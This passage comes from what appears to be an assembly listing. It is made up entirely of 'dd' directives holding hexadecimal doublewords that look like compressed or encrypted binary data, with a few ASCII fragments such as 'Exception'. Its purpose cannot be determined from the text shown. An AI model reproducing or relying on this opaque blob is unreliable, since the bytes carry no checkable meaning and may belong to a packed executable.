5A62D449h, 3FC71058h dd 579F0017h, 6BB6A7EDh, 91D8967Ah, 80945C2Dh, 90E5356Eh dd 0B2643EE8h, 2C15661Fh, 3E4676C0h, 984B2D03h, 985050CEh dd 1A455B24h, 0C96380BEh, 39003278h, 3650AA2h, 1E66D9F5h dd 424BCAD1h, 2D58CBD8h, 4FA9AC40h, 0DF84EC9Ch, 6C006A7Ch dd 90B48CECh, 0DD22DC7Ah, 0B02B0BCCh, 802E63DEh, 0E07CC898h dd 49EB3144h, 66003C1Eh, 0A9AC6790h, 0B40E730Fh, 0C4495B8Fh dd 0B8A19EC4h, 10B8EC38h, 50C6268Ch, 276589E4h, 6479B082h dd 0A75ACF01h, 0EC2410E9h, 3A1220A8h, 85FE0204h, 0BCC27DB0h dd 13772FEFh, 73D0202Ch, 4E00BCBFh, 9E0D3C87h, 1FB4943Bh dd 1234D108h, 3F9F1F9Dh, 0EF1D74B9h, 7350020h, 61F8CE3Dh dd 59C8A603h, 30B89E0Bh, 5F213A08h, 8200F8C6h, 108F03D9h dd 0EB7A889h, 0EEDA4663h, 485D0400h, 74011D07h, 9C3E7942h dd 80C8DD0Fh, 5A7D55h, 38B0E5BEh, 0A80A41DFh, 144F0900h dd 6947A24h, 60FD0AB3h, 9C24230Eh, 88A240F0h, 9308FE2Bh dd 0D6DE6D0Bh, 42980162h, 0AAD44EC7h, 0F6C600F9h, 79F7A26h dd 39605C6Eh, 0E0605541h, 53BE03CDh, 4BB67841h, 21C00873h dd 0AAE05876h, 5A51BC2h, 0CE3E87Bh, 0CA512788h, 0B1160A3Eh dd 4A5D198Dh, 0E20E3982h, 0F2C0424Eh, 9C38C9F9h, 791A07E0h dd 84E0129Eh, 1532B152h, 0A02AEF90h, 40F7201Fh, 5AECD89Dh dd 6700D51Fh, 0D3D69B72h, 0C028EF85h, 5FC5F029h, 25050D50h dd 88D4CF0Ch, 0D9D22DC1h, 523A530h, 329C34CDh, 0DCF00083h dd 5C671C99h, 22BAFD1Eh, 0F97E54h, 102512A2h, 18BEC723h dd 30850AA4h, 0C002C47Ch, 512A1D01h, 39C8FF7h, 18760A94h dd 0F17D0620h, 580084C7h, 0C0BC2A0Bh, 77CB738Ch, 3B7B03C4h dd 5BCDB292h, 0CAFF9006h, 8181D68h, 57E1A290h, 4C079037h dd 158091C8h, 1A4465Dh, 15A05E35h, 41D4094Fh, 0E4400BEh dd 0A848CE47h, 0F02A8592h, 0E5008C2Fh, 0AA273B08h, 3DBE904Ch dd 778FCDD3h, 0D720840Eh, 8C36FB40h, 55749E20h, 1888701Ch dd 0A8977EAh, 953C21F3h, 61802EF0h, 0B7C531F9h, 72004CDCh dd 7F609712h, 352DDD9h, 0CB2F11E2h, 0B9001A1Dh, 34FE67B3h dd 0C07CE3B1h, 33DF3AAAh, 9900F6D8h, 4F25ABA4h, 0A7E6291h dd 2064CA9Dh, 40A34590h, 5D35DE84h, 0B8A87805h, 0CA009394h dd 2BA9FD7Bh, 0CC79F521h, 0BA218B08h, 0CC00CAEAh, 207EE51Ah dd 0C128B709h, 88CC2C8h, 30EC2164h, 900A869Ah, 0C44EA9B2h dd 10EB7309h, 0A61D030Ch, 121E3080h, 2EAD30D1h, 5201500Eh dd 2A064054h, 698CBF6Bh, 18045944h, 0F8CC6085h, 0B8A6235Fh dd 405D443Fh, 610076C4h dd 2A7D4152h, 37DA929Eh, 4C9846D5h, 6340FBB8h, 0C71118A6h dd 71859813h, 0ACC61D36h, 77270EA1h, 433F9037h, 61883998h dd 211B0830h, 0A376F49h, 8FD306C0h, 204CA8B0h, 3090475Ch dd 87433120h, 608F44BCh, 197D319h, 949B1A81h, 0E731A61Bh dd 0BE14B0BEh, 0C894488Ch, 0F8CDC086h, 0C046A660h, 20B03122h dd 2CB1F804h, 94820933h, 0F2FF206Dh, 0C0CA1F3Ch, 0F1F9057h dd 54E49060h, 8C8C3838h, 66F8D304h, 3662F0A6h, 0F8CB6420h dd 0F5B91DB0h, 46C2E7Dh, 8C779EE6h, 2A00B3CCh, 914120B2h dd 1096F3h, 8148F2A7h, 3569C8E2h, 0C8DA9C3Bh, 6FA812A8h dd 0A0421407h, 465E488Ah, 0A4730B33h, 0F65C044Eh, 0E2EC0852h dd 5F606D64h, 0BE23CCE0h, 4C114Bh, 51E05775h, 498B006h dd 929436C4h, 40CCA93h, 79A29CC0h, 93312001h, 0A0340217h dd 0B780DC70h, 2E5B0265h, 8491C28Fh, 40D1F88Fh, 2D4887CCh dd 63D984C4h, 72B2C07h, 3BFE4357h, 0C4C09905h, 4460878Ah dd 9B94FCB5h, 468028B0h, 37087BCAh, 0C4919094h, 734D401Fh dd 1BC6837h, 851464Fh, 2056B5A2h, 0FF06F478h, 58F9A607h dd 0B9D1871h, 1692381Eh, 0BABB0213h, 90EF1049h, 899188h dd 955128FBh, 4BBF2C0Fh, 85D07901h, 82C860A1h, 18305C60h dd 685DB9DAh, 0BE75BB01h, 0F2607E52h, 0DDD73023h, 0E0C7AC00h dd 0F1A5E94h, 31A80B5Ah, 14A00BDBh, 602D8357h, 10E4AA4Ch dd 0E440207Fh, 0A27D4036h, 8C45340Dh, 6A20C923h, 280961EBh dd 74A9C4B5h, 83181D80h, 888117BAh, 0B47102E6h, 245D8CAAh dd 40EF2C69h, 8A9B17EDh, 40EDDA1Bh, 8C44E0E8h, 0A861C14Dh dd 155B01h, 0F953C4B8h, 4A45B908h, 30C58802h, 8F113776h dd 1C886990h, 376E4887h, 8482A3B4h, 40DCA085h, 0B27F2A94h dd 4A1020D4h, 9CC16C06h, 201995EAh, 8328358Ah, 6D0238B6h dd 8CC372A8h, 9E5C4858h, 0F41FEE3Eh, 6D853CBAh, 0F050650Ch dd 0E688E870h, 7C75FA2Bh, 3BE1A1C2h, 8B10844Ah, 0DB098272h dd 0E1D0318h, 0B2FD7900h, 0ECC37115h, 0C4C11272h, 76804932h dd 32E01804h, 377A30C9h, 89909313h, 0D230F839h, 98176C37h dd 3D0E8481h, 0C0199E7Ah, 0EFDA7724h, 3129601Eh, 47A9AA90h dd 0C9115491h, 4122EF18h, 0A3033E48h, 0B6DAB5A5h, 9563B0F9h dd 0CEF70088h, 0C465BB05h, 8230945Eh, 311EC086h, 0FC1548E3h dd 44662E84h, 0F8914201h, 44228844h, 9C2F8C66h, 0C49A7098h dd 0D211D76Eh, 0F9BF4420h, 9AD6005Dh, 5CD231A0h, 0B40055C4h dd 4AC3D4C0h, 0A47AAA16h, 20D2FDF0h, 4638A061h, 0FD66D02h dd 0C0DD928Ah, 0A43DD880h, 504122DCh, 6010AA32h, 35D8A06Bh dd 62C4367Bh, 92C3888h, 7404E0A9h, 0AA9CD09Ah, 0B440F611h dd 78DA1234h, 527802CCh, 0E8003C85h, 0A770574Ch, 0B1E58820h dd 0F6C09BC0h, 46F098BAh, 0E0620270h, 3163BECFh, 5A901750h dd 0FE8E0h, 0D52A2281h, 0EC83A9E4h, 0A8D226h, 0F5EDBE01h dd 6C3442F2h, 0D98F0176h, 21A11696h, 0CB489E36h, 2708B8ACh dd 0E4C41426h, 6D480D22h, 0F181014h, 0D81C5714h, 29CBB8C0h dd 0D428BB3Ah, 4B02B026h, 0AA4DC385h, 0A4B8E0B3h, 8B7C9422h dd 0C4A16ED7h, 58F59206h, 0CC93482Ch, 0C88C7834h, 0AFD4A057h dd 25498412h, 39F2899Ch, 0E0205768h, 8502E546h, 36157CE0h dd 17F4F781h, 0A0844405h, 0DABE1C1Ch, 0A7EAEECFh, 3A7037B8h dd 3057F0E2h, 0D8298706h, 0B73E8CE4h, 0E52300DEh, 9C087481h dd 144700FEh, 6089EF2Eh, 390B4E9Eh, 2B17913h, 37A6EA0h dd 49008606h, 8C762BF0h, 4F5EC2h, 0B848D8DEh, 6A9BD464h dd 5AB4770Bh, 674C2406h, 253CA482h, 50A8585Eh, 2D1DF77Eh dd 991A2C0Ch, 4410C721h, 0F8A3634Fh, 0B1F18Eh, 5E9ED25Ah dd 0DB556631h, 0BE8CFC13h, 8A91545Ah, 0D408A850h, 441262Dh dd 0E3F7A4F9h, 314AB23Ch, 0C5F0CC12h, 3FA861C0h, 9896C4B9h dd 102099F0h, 0A86BD375h, 9071380Fh, 0C1897F1Eh, 48025649h dd 405A260Eh, 901D5A46h, 91FDC8CAh, 88B770h, 0D3BBDCAh dd 0F6F58315h, 0BC7C6B24h, 0B806D006h, 495D3029h, 0E45030E9h dd 0BEB7EA3Dh, 8A658059h, 6BC48556h, 75BB09EEh, 60026732h dd 4C40D83h, 7C02CB46h, 99909537h, 4E132131h, 0E223798h dd 0DCEE890Fh, 0EBF4CE63h, 0E47885CDh, 303AD052h, 9C3E4D23h dd 870017A7h, 596E1B6h, 0C847493Fh, 0DAA216C7h, 44117Ch dd 0C67BB3E7h, 12F1B36h, 459CAC9Bh, 84AF6102h, 27076C40h dd 4194A144h, 0CDF0FDFFh, 6005D024h, 63D01983h, 79009113h dd 0B2B1D2F5h, 0E851C53h, 0CAC13A5Dh, 7C83C343h, 870B0CC1h dd 52A43E80h, 34D04029h, 9850FB1Fh, 0E19683B8h, 38818D7h dd 267CC921h, 3CF2F709h, 770002Eh, 61858D91h, 0DBEE405Ah dd 0A2900024h, 0A45459F1h, 0CAC7D301h, 0EC063B7Dh, 34B08DCFh dd 0EA46A922h, 0C76D141Eh, 0B6E320EDh, 743A65FCh, 0DD001E23h dd 95C66DB0h, 0EE140387h, 0D616BE44h, 732391A1h, 407B3A50h dd 4882E9Bh, 67C2C16h, 0E8E28F43h, 0F08D22h, 9636C807h dd 0EABF5B12h, 0D0836628h, 0EC5C6F2Ch, 80020712h, 40C46E14h dd 449D16A4h, 0C0166975h, 801F87EFh, 2030C5FEh, 662940A3h dd 9E8EBC15h, 0BB4501D0h, 37F92CC7h, 0DE24142Dh, 3681160h dd 0CE7DC69Bh, 3CC81D9Fh, 5B9E00A0h, 8B47F949h, 9694BE1Ch dd 0E0C0ACA5h, 789C02DFh, 3B31D290h, 0B0817C72h, 87818C7h dd 79909137h, 4A4020C4h, 0A0A93770h, 8F56EB01h, 871126ADh dd 9060D438h, 30182D83h, 44053CB3h, 0A4442990h, 80B5FB2Ch dd 59A48AF1h, 33FF02D8h, 0AC601E71h, 0C8346DCh, 0DB68310h dd 0DA199229h, 36C14D7Dh, 844BD840h, 0FD85501Ah, 0D81D6416h dd 8D64D857h, 8958C309h, 3AF9F544h, 2C2F03Eh, 0C0C35040h dd 0FD39373h, 0CF3EA7BCh, 0EE9E363h, 92572500h, 0FE2D4DE7h dd 9B150023h, 0E2D1D925h, 0BD0783F2h, 6070B79h, 1F840F01h dd 0B5893783h, 1A12293Dh, 0A103F88Bh, 0C609F090h, 1061201Ch dd 192FE928h, 142DBD10h, 4E662E64h, 0E856036Ah, 20290E03h dd 8945C35Eh, 166A2274h, 0C3564620h, 2BAB0061h, 0BF3F7BBAh dd 0F115026h, 0FC030185h, 12D98D89h, 53016E7Eh, 0FF5FFEB6h dd 798033B5h, 0A4CCC281h, 95F85EEAh, 53481F54h, 0C35B398Ch dd 885C8911h, 53438019h, 49EC7AC3h, 668D248h, 0C0DBD29h dd 0C885797Ch, 1BB159Ah, 0BD8BD3B7h, 915202ADh, 0FCB92089h dd 0D1E7A75h, 85CCFE8Bh, 60E99537h, 0AF9C2514h, 84004C0Dh dd 0EF014F03h, 3E290271h, 33037494h, 5BB98AB4h, 6937EA2Ah dd 591C5146h, 4C8988C3h, 414017C4h, 7320C351h, 0E7CA5628h dd 0F807970h, 2702628Ch, 9C83CF8Bh, 1C012C25h, 0D1C7DA81h dd 7B42589Bh, 1088101Ch, 90BE0DD2h, 339884D6h, 0A0B4D100h dd 0CB8BC974h, 0BD0B0C5Fh, 6A5408F9h, 0BF66100Fh, 462C52C3h dd 0D9378A35h, 0EA28D180h, 0E4A580B0h, 6225E3F5h, 1277B90Ah dd 281E019Dh, 0E3A0505Ch, 59811DF9h, 558823E3h, 44C35D0Eh dd 18626C89h, 0C3554520h, 0AE4E00DAh, 0B966873Dh, 0F5492E99h dd 89608054h, 0D2238195h, 0C190BE68h, 41678Dh, 376DADF8h dd 5E826ED2h, 0E5712800h, 0EF1E981h, 5A2B1472h, 0A075D461h dd 20B50128h, 0F3D0D29h, 38D35280h, 31614489h, 770D11E9h dd 0D8CCF820h, 0C0004372h, 815B0824h, 2954AF8Dh, 3EF8720Bh dd 5223C9D3h, 44C35A0Eh dd 1A625489h, 0C3524220h, 0B76D1D2Dh, 679482A3h, 824CF58Ah dd 8B059EC8h, 0CFD17B9h, 0FC576A3Ch, 5A838B8Fh, 0A27A1453h dd 6187301Bh, 59310C0Fh, 0A2B42E0Bh, 682BF595h, 6A51BD73h dd 0CDAF0C1Ah, 890CDDA4h, 19239519h, 5F1857BBh, 8923C372h dd 1C117Ch, 0D8C35747h, 941BCD5h, 0E76F3EC7h, 22D119A5h dd 0F2906B1h, 471F4A70h, 9D7988EFh, 802F32E9h, 6090A7E1h dd 0FF04A832h, 69A9BE38h, 0EC8BE098h, 5B1B4D39h, 7EE8238Ah dd 73181546h, 1DB15611h, 8B464383h, 6B301AA2h, 916E3813h dd 3145AD02h, 9F68398Dh, 0D88B8068h, 0C929BDB5h, 3498036Bh dd 9C00BF54h, 4DAD58DFh, 30D580EBh, 0F8C590Ah, 0B38B0681h dd 7C0B7082h, 0B6D11866h, 0C9BF2752h, 8E1D6868h, 0BCD7283Ch dd 2476AF42h, 430322CDh, 8EB5112Dh, 0C01AC827h, 4E175D23h dd 0A1156102h, 82FFF883h, 0A0496C8h, 0EE103F0h, 7A114839h dd 850D2871h, 4292FB1Dh, 1846848Bh, 0E21BD10h, 20A65926h dd 0D7024014h, 0F8A6034Ch, 364C8C14h, 541A095Dh, 9F4C0174h dd 0C7C25AF5h, 601844EEh, 9C6DD09h, 0D0FF2FB9h, 8C5BC02h dd 0F236C064h, 0C81C5CEFh, 58C55060h, 182388CEh, 0C2ACD600h dd 2A23A18Bh, 0F0D541BDh, 0E2813DC0h, 4CFB4A0Ah, 5CCD1292h dd 9750CF8h, 11443512h, 2D195C74h, 0D8B83863h, 85B443DDh dd 0AF3F1F7Dh, 0B3AD289Dh, 5BD3FF0Ah, 17C42258h, 0AFF12010h dd 873019AAh, 0E995268Fh, 0B5A34086h, 0A14D7E19h, 14929410h dd 506D2D79h, 6838CF59h, 0BAE0763Fh, 0D099C70Ah, 0E80CA210h dd 37390Ah, 73ADCEAAh, 297592CDh, 8D23050Bh, 8E812981h dd 1FDE4D0h, 9512C450h, 0F87D496Dh, 0BE1D1D89h, 1C851511h dd 35F60422h, 2711130h, 0BA69B8FEh, 908F8989h, 0F395238Ch dd 36686364h, 16D801FFh, 3381A97Eh, 9BAC11D9h, 1038591Fh dd 7D08B66h, 0D635CA81h, 4AB8BF6h, 19919E1Fh, 128D1896h dd 0E92AF965h, 0C85D352Dh, 0F8124D22h, 4E4B07B9h, 711DA68Dh dd 3050B7BCh, 0F95DF158h, 303329FDh, 5F1815D9h, 103A695Ch dd 1F5909B5h, 0BAC68082h, 8B22CCCEh, 667E04h, 85C780C0h dd 6072E59h, 0FA41A184h, 843BC446h, 19020C4h, 8042E948h dd 49183CD7h, 0AEBF0596h, 5844D1Ch, 88F3159Bh, 1D49A1B9h dd 1BE2C013h, 965FB2Ah, 16AF850h, 0D34CE2A2h, 32A091CCh dd 180049Dh, 32712885h, 0F52F4473h, 2AA119A4h, 367925BDh dd 0EF606199h, 0ED427147h, 4C4346D6h, 2D10CB51h, 3F5F2429h dd 0A7143A59h, 0E8B54C9Eh, 0FC028C19h, 0BD70EE92h, 9B9C07Bh dd 85318010h, 0E90DD163h, 6B354A32h, 381823BFh, 4C954381h dd 498C0F2Ch, 89AD03F2h, 8491584h, 0C0614DF2h, 859D8B60h dd 5767279Ah, 2E686D34h, 896AEA55h, 3832D2BAh, 0C2CAB604h dd 0A2F0276h, 0ABABD8CBh, 5016F0h, 45DA41B9h, 801B2CBEh dd 9265D132h, 0C1602527h, 61F49B0h, 0AE53296h, 41B5610Ch dd 42801B11h, 637ECBD2h, 564EB212h, 24813664h, 0DBEBF68Ch dd 687E88BAh, 8074C44Ah, 0A6560AFBh, 1B03D108h, 189A3E59h dd 0D220E905h, 2C8752Bh, 8BA8B7ECh, 906A0585h, 78A116CCh dd 0E9199CC1h, 8D090510h, 0C11335B5h, 0CAC6B9B2h, 69FA826h dd 7618692h, 0C20413CDh, 0B74153D6h, 90FD5529h, 9F93BFBFh dd 0AE39A431h, 8DBE2BDDh, 0F38BF805h, 0B52F21F9h, 864ABF55h dd 322F03F5h, 0B9660A44h, 432108D3h, 3FE0C181h, 7FB033B6h dd 0FCE7F958h, 0D9E48FD9h, 0A48B3D2Fh, 0AAA02125h, 7D2D696Ah dd 90AE5E8Dh, 22F94689h, 87AC12h, 8ED8D41Ch, 0C01B88DFh dd 6E939D1Fh, 68271177h, 29021810h, 207D318Dh, 8009E86Ch dd 3BF84F17h, 7F593545h, 0A02F7ED7h, 2733A19h, 82996FD0h dd 1F879503h, 0F653165Ah, 440F2D2Eh, 5D89038Eh, 0BB50430Eh dd 19200806h, 5B6009FBh, 0FA01D18Ah, 3B056815h, 502A1094h dd 269E14FDh, 0A42196E0h, 0AAA004CAh, 0C7894E81h, 5F130833h dd 1AC8098Eh, 0D2E04AC0h, 19A516D1h, 297F078Eh, 4C0839B1h dd 0A690275Ch, 6E396DDAh, 5695808Bh, 4B1BC914h, 893D1810h dd 2D1C650h, 96606A80h, 0D00DC86h, 0CE7E1C51h, 1389B639h dd 0D40CD9BDh, 51B6214Fh, 19C1205Ah, 0B80E9BAAh, 7F0911E6h dd 0B51201E0h, 0CDCF2359h, 64C519C8h, 0BE8BC680h, 890F2D1Ah dd 5FB50F18h, 18636870h, 50B1BD13h, 48AA62ABh, 0F924B826h dd 1E6508DDh, 933BF01h, 16955CA3h, 0BB4897C1h, 9923A534h dd 0EDA9027Ah, 784C326Ah, 4D29B5FCh, 56438B2Eh, 0A58DAF53h dd 93405FC1h, 24331840h, 0AC375D8Dh, 0FA9085Fh, 0DDC981C0h dd 7BA32C35h, 143E59E7h, 1CF248A2h, 70EEA30h, 0BD9910A7h dd 0FCA9E0AAh, 25C28C3Dh, 0E878830Fh, 4C952992h, 314F3831h dd 20EA8051h, 19A99632h, 1E83145Fh, 31334A1Dh, 0E19533CDh dd 7E6D3D10h, 29D010EBh, 2B8125B5h, 9659B9BAh, 142558B1h dd 95811A47h, 0E032300Dh, 205DCA26h, 21DB26F4h, 0C6237EBFh dd 0BC6F00Bh, 0B53C585h, 0BA9DC0FFh, 72801411h, 0ECF838BFh dd 0E0237632h, 0D7640905h, 7F27795Bh, 0BF5280D8h, 747740DAh dd 11355F48h, 80832FE9h, 164197CDh, 0E8A22CE1h, 0C6008C17h dd 0B172A449h, 0CF12E9FCh, 18C0411Dh, 22118253h, 3E00CFFAh dd 0C74B40A7h, 1C59B4D8h, 2936E930h, 1815D13Dh, 823150ACh dd 10108101h, 5CE95F50h, 65C40EDAh, 0E80F1618h, 0F21DC5FEh dd 0EA096FC5h, 0C0FC91D5h, 0BA4595FCh, 0E724A76Bh, 79FCB8DDh dd 0B0C985DDh, 208531A0h, 0B2710841h, 18B9CEC4h, 0D9EDC024h dd 0E9268E3Ah, 97AD9730h, 8017911Ch, 0F8DE134h, 190B67E8h dd 5CBDB02Ch, 157B9332h, 33C0DD04h, 0DB8C8D0Fh, 0EB45619Dh dd 2024B559h, 0F95D1DF0h, 0D6B719DFh, 0B03415EEh, 42E925F8h dd 0F7251B90h, 0CFC61D83h, 5F40545Dh, 1C8C1AB8h, 0FBE770h dd 567BC5F7h, 9158952Bh, 804290D8h, 3514D781h, 6A6F19E4h dd 34318834h, 7B0503Dh, 47721582h, 0DDC58148h, 6208D026h dd 8C660001h, 4C3F6DBh, 0FC444F90h, 0B2CDECC6h, 0C8AB08Eh dd 9CA8B852h, 4FD89D5Eh, 99396378h, 46A0B79h, 1D106F04h dd 0EE8164DBh, 88845BEh, 6804472Dh, 0EC18AC9Bh, 8B048A79h dd 4F401EF0h, 7B266168h, 29E5802Fh, 60502887h, 6A537D84h dd 18C25628h, 9875C085h, 0A684175h, 0DB876498h, 0D021D32Ah dd 684C60A1h, 80E4E7A4h, 8B0420ADh, 895F889Dh, 0C43045Bh dd 2B545CB5h, 3C70915h, 43ECE852h, 7020C28h, 0BBD8513h dd 0AD6A9B62h, 2E0C4702h, 0A28BA4B5h, 2671411h, 0F7976845h dd 0A80F92A5h, 67357310h, 28610C02h, 604D3275h, 6AA1B4B4h dd 580C464Eh, 0BA314F86h, 60002BDDh, 855D9D33h, 0DE8B2CADh dd 61260A10h, 0C2FA18AEh, 0EAF72F5Dh, 0AF725Fh, 0AEC082F0h dd 60B7341Fh, 196BF600h, 0A8ECAB64h, 801BB131h, 8AF9A08Fh dd 0AE00BB4Ch, 3678D6E0h, 7267A05h, 130FCD1Eh, 386325Fh dd 0FB0975D1h, 5CFE450h, 17916F98h, 5D15C172h, 0FF640021h dd 0C911B435h, 0C33D5206h, 25516477h, 0B82C6910h, 8183E205h dd 0D3D97233h, 0B7614508h, 13197426h, 962B5F48h, 0A4E020E8h dd 0BE00148Dh, 3136FBEDh, 80048595h, 0BD16805Fh, 6E97FFA1h dd 88080BD7h, 3304012Dh, 5FD7DDBDh, 85B3DB67h, 411BE59h dd 69BD89C0h, 40FC012Fh, 0BFC3F0Fh, 0A68F5264h, 8805FB4Eh dd 9A00D58Ah, 4D8D2BC8h dd 0FBC7C61Bh, 1245E4FFh, 8AE3E320h, 3D9CD15Bh, 4CE92820h dd 0A840F917h, 6681C70Ch, 3FF17A4h, 0B866837Ah, 1AB20415h dd 305C8BC3h, 51000362h, 7FED815Dh, 8B163B92h, 2431B883h dd 18903038h, 4F5DCD89h, 94E5A130h, 0D5B584FCh, 756FB418h dd 0B5A651D2h, 205067E0h, 5C56EE3Ah, 8C19E86Eh, 15EFA502h dd 4E54988Fh, 8BF045Eh, 9D73036Eh, 0F80B2B5Ah, 0B86E68B9h dd 55D70004h, 81640548h, 0BB000DF7h, 8685D465h, 70B640BAh dd 33EAFA34h, 0ED0C5FE8h, 5868FBB8h, 75564D09h, 7981820Ah dd 54010428h, 0F104E411h, 0B9000309h, 12A34DA6h, 334C44B8h dd 0AB0F2E35h, 43D21D6h, 422F8108h, 2117AE27h, 0AAC8C220h dd 7E666030h, 64E14CB8h, 45E2B909h, 1BE4D545h, 9B9D9760h dd 0BD0C2D03h, 15F8167Fh, 9E3AE9CAh, 0DE01916Bh, 0C735382Eh dd 16E85h, 65637845h, 0E697470h, 49206E6Fh, 72C2666Eh dd 0C8E616Dh, 656C5003h, 2C9973CBh, 3A08BE20h, 68749F64h dd 6C36E77Ch, 6977671Eh, 63E767E7h, 73F664A7h, 0EEE7FB28h dd 64406D61h, 2EFBE352h, 0C6D2A3Ah, 16685420h, 0F679EC6Bh dd 6F0AFE75h, 1F4040Dh, 467028C6h, 43627360h, 754C5254h dd 0D1B3FF2Bh, 1E66699Eh, 0D8A06497h, 7970A18Fh, 696C08A8h dd 61FE62F2h, 29647214h, 56424036h, 7352657Dh, 3D7F7F99h dd 1ECA2579h, 63028743h, 0A44E496Bh, 4F70640Fh, 1F8E5455h dd 0E86F7250h, 0B40F851Dh, 60F643Bh, 3D7469E6h, 1E210F87h dd 8E502A6Fh, 1E751834h, 0B5BDD002h, 9949C632h, 9742411h dd 32D0A8DFh, 46490EC8h, 0B8B02568h, 7CEF953Eh, 0A931D589h dd 8BDF1902h, 0CA3C1207h, 7240B02h, 4178DF2Eh, 4A072229h dd 0C4E32125h, 0EF216B6Fh, 216BBCC4h, 6BDAC4F7h, 0C3C4F321h dd 0C4E7216Bh, 0EB216BCBh, 462AD2C4h, 0C69100Ch, 20A2E916h dd 1329BD0Ah, 95953A91h, 19427E0Dh, 4118511h, 28F1958Bh dd 0F8C28101h, 0FE9011Ch, 958D238Bh, 5230F164h, 0C3402834h dd 0F73B5CD4h, 96045513h, 408B0CDFh, 9D8B45ECh, 4CC31345h dd 654D06E1h, 84501118h, 54C8E343h, 583CEF44h, 0C8F34384h dd 54E7445Ch, 0DD5A7DCh, 8A68AF68h, 4C5ACD0Ah, 4386EB0Ch dd 90F321E7h, 64E3C8EFh, 240A54DFh, 11C21CD9h, 0AD07A131h dd 0A1040723h, 0D506C32Ah, 406A24C4h, 30FB2924h, 0A46E4919h dd 399601F0h, 0EBC18B60h, 508EB318h, 0E2960BE9h, 1A876012h dd 20194E19h, 61193498h, 0E63404C2h, 60323D28h, 0F6040814h dd 984FD12Ah, 61E9C324h, 0B58B21F8h, 818F8ED0h, 18F00CE6h dd 8CEB94E9h, 810B19E8h, 543C64Fh, 0DD4B53Bh, 0E9860F39h dd 0D820D851h, 0CFE622F2h, 66506FC0h, 1224C88Ch, 10C00A03h dd 97582A1Bh, 0A811BB2Fh, 44D2285h, 0DB0A1886h, 67163F84h dd 197B991Ch, 0CFC62404h, 82B1FA15h, 0F910907Ch, 0F1F7B19h dd 0FE174C01h, 1CC0D502h, 3DE45253h, 0FCB18966h, 5C5B0209h dd 4CAE0953h, 10858283h, 0BB88E043h, 0CBEF5398h, 4AE36480h dd 0D0C4BCDBh, 0ECC7BC76h, 31324F75h, 0BA448B00h, 0C59829E6h dd 7C068915h, 2FE51878h, 23333324h, 5BBD2901h, 9A391A2h dd 243E8060h, 0BB4031EAh, 763AB7A1h, 0B101B01Ch, 1D13E98Ch dd 0C88A07ACh, 2032C302h, 0BAACBD1h, 140D264h, 0C90A4A43h dd 0DEE5D622h, 11DD1A23h, 8B521080h, 7AE657D4h, 0C033080Ah dd 0AA0721E9h, 8D0A3F80h, 0A15A5FC2h, 565153BCh, 0DB0A32B9h dd 3D4E10E9h, 0D3D1D800h, 5ABCC381h, 0B0374637h, 0B49469Fh dd 8BE84497h, 595EC30Eh, 7B608A5Bh, 1911F969h, 5A2AEAACh dd 47C02077h, 0A8DF21E7h, 0A8D8190Fh, 59293C04h, 0A2A844D4h dd 0D605676h, 2179858Fh, 0A1716420h, 21F2BD06h, 3FE93889h dd 9CC6757h, 2407E8Bh, 46F31705h, 2192899Bh, 0FE3C1419h dd 8E1E46ACh, 88E430A3h, 8768E9AEh, 76A4DF69h, 4D007212h dd 0B2B80C7Ah, 0A94527CAh, 7C1AE57h, 0D1203006h, 0A3B46C8h dd 0F1820FF7h, 14EA488Dh, 94BD2808h, 0B828284Ch, 53512456h dd 242C2013h, 0C5670C4Ah, 8483093Ch, 30049D11h, 320413D3h dd 8C3C1D8h, 67751C85h, 595B1C02h, 9837885Eh, 47370108h dd 81917BC1h, 950C5329h, 185122D4h, 60810D59h, 0A1880FC4h dd 0C162E850h, 535224h, 7A4BCE2h, 2B7A0814h, 5A780C00h dd 7306F081h, 613F0931h, 7DD3C08Bh, 7F11F873h, 80CD091Ah dd 9EC74EC6h, 0E6350EC4h, 40EB149h, 0E6A2920Bh, 803016F2h dd 0F9362435h, 0EC6460ECh, 4D3B2F93h, 43370065h, 0A6138369h dd 14BD184Bh, 8CB5D86Eh, 3051B1B4h, 23CF3E6Eh, 0CC01001Ch dd 7C85418Ah, 19690900h, 6E9B3B2h, 0D020B502h, 8CDCBED2h dd 0BCCBDF4Ah, 0D8C019C8h, 0E4399A2Ah, 0F5703F6h, 665AF7BFh dd 3404C799h, 3A9ACEADh, 2BE1B107h, 0F14580FFh, 3A7DBA04h dd 14B94E80h, 2E40067h, 52506093h, 0B50775BAh, 310F79E8h dd 4A8A4670h, 9058E25Ah, 3811B5C5h, 1C61088Eh, 87A7BE50h dd 639329F3h, 13A21F88h, 6DAD34D1h, 3FE0EE6Ch, 0A95A228Fh dd 8014AD05h, 0AFB2BFC5h, 1CB88894h, 5A06008Ch, 2D019D95h dd 0A8135FCAh, 80B6C48Bh, 8C49FEE0h, 0A5F4AB0Fh, 40A2534Eh dd 7D16E500h, 0BB79D298h, 0B967C500h, 453AEC71h, 80BBA259h dd 0AF43F608h, 0F98B0258h, 0EB01CD61h, 11141061h, 3607164h dd 0B589032Eh, 0ACE0A447h, 3D0B798h, 0A2D7BB00h, 0B96633E1h dd 5ACA079Fh, 82E9E280h, 0B0D1D38Bh, 43CB4F25h, 29A36057h dd 0EAE1AE0Bh, 7CD442AFh, 8F17DCD4h, 0C8480B3Ch, 9682A77Ah dd 80C031C4h, 2976FE4h, 0F10C82C9h, 19A4801h, 7A3D5938h dd 1FAF62B8h, 0C241E7FFh, 164C8C6Eh, 74D68070h, 0C7B8C2F5h dd 37C688CDh, 0A0A62600h, 9A9C0CB6h, 9457E261h, 0CC101625h dd 0B6040FFCh, 0C8FE0140h, 0D4BAB008h, 5F5E0212h, 26C60318h dd 45F598A9h, 3FBAE804h, 43D8ED5Eh, 82615BD1h, 0D098E9D0h dd 0A72D31D2h, 0CEEB60DDh, 0ED352673h, 76B4FCD8h, 0F60E42D6h dd 14A72DEEh, 991D4D89h, 0A3801811h, 0AB210767h, 0F7B70F0Bh dd 0F3510051h, 4CC28B59h, 0A48FEAE8h, 0DD9D39C1h, 0C5E660F2h dd 3AABEA01h, 0BE44AAB5h, 0F04009F7h, 6DD9515Fh, 0C2C0DB1Dh dd 0D6B6EAFEh, 0AD840186h, 8DF397C1h, 940B205Eh, 7947605Eh dd 0A508B8C8h, 0C7005064h, 3078802Dh, 14D3233Ch, 0EB1A358Ch dd 59725400h, 8B3834FFh, 355BF124h, 8D74BD28h, 8CC9EB05h dd 0D5AC0517h, 0DF2BF301h, 80F81176h, 39974D1Eh, 0C33BE7Fh dd 531D5FC6h, 8304E240h, 7048FDDh, 18D95E90h, 405E9E56h dd 0CA855F1Dh, 0E4ECA700h, 0F6B0D04Eh, 2A6B783Bh, 156168h dd 24848F31h, 